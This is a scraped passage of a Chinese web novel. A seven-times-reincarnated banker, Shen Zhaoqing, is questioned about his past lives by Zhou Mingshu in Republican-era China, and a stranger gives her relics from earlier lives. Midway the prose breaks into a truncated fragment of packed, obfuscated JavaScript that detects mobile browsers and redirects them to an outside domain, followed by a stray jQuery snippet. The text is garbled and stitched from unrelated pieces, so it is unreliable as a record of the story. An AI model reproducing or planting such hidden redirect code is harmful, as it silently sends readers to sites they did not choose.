比如他远超时代的惊人知识储备量。从春秋战国的纵横捭阖，到魏晋风骨的清谈玄理，再到明清宫廷的隐秘规则，他信手拈来，理解深刻到令人咋舌，远超一个留洋归来的银行家的学识范畴。
比如他的书房。一次紧急情况下，她曾短暂避入他在银行顶楼的私人书房。那里堆满了各种语言的书籍，其中相当一部分是关于轮回转世、灵魂哲学的学术典籍，从西方的神秘学到东方的佛道经典。更令她心惊的是，这些书籍的空白处写满了密密麻麻的批注。那些批注并非简单的学术探讨，更像是一个饱经沧桑的灵魂在叩问自身的宿命。
比如他对江渌水这位诗人的疯狂痴迷。在他的书桌上，常年摊开着一本珍贵的《渌水集》善本。周明舒曾无意中翻看，发现书页空白处不仅有显然来自另一个人的娟秀批注，旁边竟还有沈照清用另一种笔迹写下的感慨。
“她总是这样。”
仿佛他亲眼见过她的每一次“这样”。
最明显的是沈照清看她的眼神，对她的态度。那眼神复杂得难以形容：有深深的眷恋，有刻骨的悲伤，有小心翼翼的守护，有仿佛看透一切的悲悯，还有一种……仿佛认识了她很久很久的熟稔。
姬台、卫矢、云娘、阿芥、苏嫔，这些人早就彻底消失在了历史长河中，从来不值一提。只有江渌水是唯一的破绽。
史载江渌水与李玄黓相识一年便因靖康之乱分离，后世记载她辗转嫁过两任丈夫，一位是战死的武将，一位是早逝的文官。学界至今仍在争论不休：这位才华横溢又命运多舛的女诗人，一生所爱究竟是谁？是那超然物外的隐士？是那为国捐躯的武将？还是那相濡以沫却早逝的文官？
而当周明舒在沈照清那本《渌水集》的最后一页，看到他力透纸背的批注时，她的心被重重一击：
“她谁都不爱，她只爱那个要亡不亡的天下。”
防空洞。周明舒靠在冰冷的墙壁上，手臂被划开一道深长的口子，鲜血染红了半幅衣袖。沈照清半跪在她身前，正用撕开的衬衫布条，手法娴熟地为她紧急包扎。就在沈照清打好最后一个结，准备起身时，周明舒的声音在昏暗中响起：
“沈照清，你究竟活了多少年？”
沈照清正在整理绷带的手，猛地一顿。
“什么？”他的声音低沉，试图维持平静。
“你书房里那些笔记。第六世……是什么意思？”
洞外又是一声震耳欲聋的爆炸，整个防空洞剧烈摇晃，顶棚落下更多灰尘，扑簌簌地落在他们身上、脸上。
漫长的沉默。只有炸弹的余音在洞壁间回荡，如同命运沉重的鼓点。
他不能告诉她真相。那太疯狂，太沉重，会彻底摧毁她现在的世界和肩负的使命。他也不能完全否认。那些笔记，那些眼神，那些“巧合”，否认只会显得更虚伪，更让她疑心。
最终，他垂下眼帘，避开她过于锐利的目光，给出了一个精心编织的、“合理”的解释：
“我家族……有遗传性妄想症。”他顿了顿，声音平稳得没有一丝波澜，“很麻烦的病。总幻想自己是古人转世。那些笔记……不过是病发时的胡言乱语罢了。”
“妄想症？”周明舒的眉头紧紧蹙起，显然对这个解释充满了怀疑，“那江渌水呢？你对她的研究……近乎偏执。也是‘病’？”
“学术兴趣。”这次沈照清的回答更快，更干脆，带着一种学者式的冷静疏离。
但周明舒没有放过他。她往前倾了倾身体，不顾手臂的疼痛，目光如炬，直直刺入他试图躲闪的眼底：“那你看我的眼神呢？沈照清？你为什么总用那种眼神看我？”
这一次，问题直指核心，避无可避。
沈照清沉默了。防空洞里只剩下两人压抑的呼吸声和洞外隐约传来的、令人心悸的爆炸闷响。时间一分一秒流逝，久到洞顶又落下簌簌的土灰，像一场无声的、为某种终结而下的雪。
昏暗中，周明舒看到沈照清的脸上，缓缓地、极其艰难地，扯出了一个笑容。像冬日里最后一片挂在枝头的枯叶，带着一种认命般的苍凉。
“因为……”他终于开口，声音低沉沙哑，仿佛穿越了千年的风霜，每一个字都带着沉重的回响，“你很像她。”
像谁？像那个只爱天下的江渌水？像那个他“学术兴趣”的对象？
他没有明说。
半真半假的谎言最能说服人。
后来那本《渌水集》的扉页不知何时多了一行新字：
“第七世。相伴十五载，已胜千年。”
沈照清站在船舷边，望着站在租界残破的码头上的她逐渐远去。远洋巨轮低沉的汽笛声在江面回荡，如同巨兽的叹息。
一片冰凉的东西落在了他的鼻尖。
他抬头。
灰蒙蒙的天空，竟开始飘落稀疏的雪粒。不是江南常见的湿雪，而是干燥的、细小的冰晶，在凛冽的海风中打着旋儿飘落。
这不可能。这是西戎才有的雪。这异象，瞬间将他拉回了遥远的记忆深处。
他站在那里，任由冰凉的雪粒落在肩头、发梢，融化在脸上，混着海风，像冰冷的泪。
难道说，是神明回应了他的顿悟，愿意放过他了？
沈照清不知道，这不过是多个平行轮回中的一个罢了。
原来轮回的答案如此简单。不是留住她，而是学会放手。
是尊重她每一次生命的选择，无论那选择是生，是死，是走向他，还是远离他。是承认她的灵魂自有其轨迹，他无权，也无力干涉。他强留的、守护的、试图改变的，最终都成了她悲剧的注脚，也成了他无尽的枷锁。
放手，才是对那个纯净灵魂最大的尊重，才是对自己这纠缠执念的最终救赎。
就在这雪落码头、心似空谷的瞬间，一个穿着素色旗袍、围着灰色羊绒披肩的年轻女子，悄然走到了周明舒刚刚站立的位置附近。
“周明舒小姐？”陌生女子开口，声音清越。
周明舒停步，疑惑地看向她：“我是。您是？”
陌生女子微微一笑，将手中的紫檀木匣递了过去：“我有一些东西要给你。”
周明舒更加困惑，警惕地没有去接：“给我？这位夫人，我们好像是第一次见面吧？”
她没有直接回答，而是反问道，目光如炬地直视周明舒的眼睛：
“那你觉得，你和沈照清的第一次见面，真的是第一次见面吗？周明舒？”
轰——
这句话，如同惊雷，在周明舒脑海中炸响！她浑身的血液仿佛瞬间凝固，又猛地沸腾起来，一种源自灵魂深处的巨大震颤席卷了她。
她的眼神瞬间变得无比严肃，锐利如刀锋，紧紧锁住眼前这个神秘的女人：“夫人怎么称呼？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968625|177757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“燕子飞。”
子飞。
不是恨海处或者魔界的子飞，是民国梳着短发的子飞。
……
租界某间相对僻静的咖啡馆角落。
燕子飞与周明舒相对而坐。窗外的阳光透过梧桐树叶的缝隙，洒下斑驳的光影。
她们在咖啡馆聊了很久。
燕子飞没有直接说出所谓的轮回之事，只是把写着“云娘”的唐代琵琶谱，夹着嘱咐孙子给孙媳妇买钗便条的明代医典交给了周明舒。
“出于某种原因，我无法直接告诉你到底是怎么回事。但是你一直是个聪明人，一定能拼出完整的故事。”
周明舒沉默地看了看那个唐代琵琶谱。
“那个……这是什么鬼画符？”
“唐代一位琵琶女‘云娘’唱的词，关于粟特女神的故事，估计是从哪个胡姬口中听来的。粟特女神一般象征着庇佑财富，维护誓约。而这个女神，以身退兵，护民安全。大概是哪个中原故事的变种。”
周明舒唯一能看懂的，是角落的“云娘”两个字。写得歪歪扭扭，像是初学者写的。像极了周明舒儿时的习作。
打开明代医典的时候，一张便条掉了出来。
“当归三钱，茯苓二钱，另：阿宝莫忘带媳妇买钗。”
这字迹，和自己太像了。可周明舒根本没有写过这样的便条。
最后是某人为谁写的托古之作。
“戎人妇，姬姓女。若遵周典，其谓我戎姬乎？
（戎人妇，姬姓女。若遵周典，难道要称我戎姬吗？）
呜呼！余名台也！生高台，岂戎牢牂羊乎？
（呜呼！我的名字是台！生高台，岂是西戎的牢中母羊？）
尝习遒人铎采之风，闻太师比音之乐。
（我曾学遒人摇着木铎采来的民谣，听太师比其音律而作的乐曲。）
本望嫔诸侯，佐君子，奉天命，绥四方。
（本希望嫁给诸侯，辅佐君子，奉天承命，安定四方。）
然鼎簋尊彝已去，惟见毳幕羶羔，韦囊乳浆。
（然而中原的礼器杯碗已去，只能见到西戎的毛帐羊羔，皮囊乳浆。）
仇戎，更仇戎人与我周民同劬劳。
（我恨西戎，更恨戎人与我周民同样过着劳苦的生活。）
天命靡常，厥民何辜？
（天命无常，百姓有什么错呢？）
故我必不就死。
（所以我必不乖乖等死。）
纵知周戎异服若参昴，余心独向櫜弓方。
（纵使知道周戎差异像参昴这两颗星辰一般远，我心依然向着收起弓箭的和平方法）
蓟方曰:仲姬字曰射。射者，榭也。”
一声尖锐刺耳的枪响，毫无预兆地撕裂了咖啡馆的宁静。玻璃窗应声而碎。尖叫声四起。人群瞬间混乱。
周明舒被这突如其来的变故惊得浑身一僵，迷茫地抬起头，望向枪声来源的方向。
就在她抬头的刹那，一个身影以一种超越物理极限的速度，凭空出现在她与破碎的窗口之间。
沈照清。
他的胸口瞬间炸开了一朵刺目的、不断扩大的血花。
这不可能。
她亲眼看到沈照清坐上了远洋轮渡。那艘船此刻应该早已航行在茫茫大海之上。他不可能出现在这里。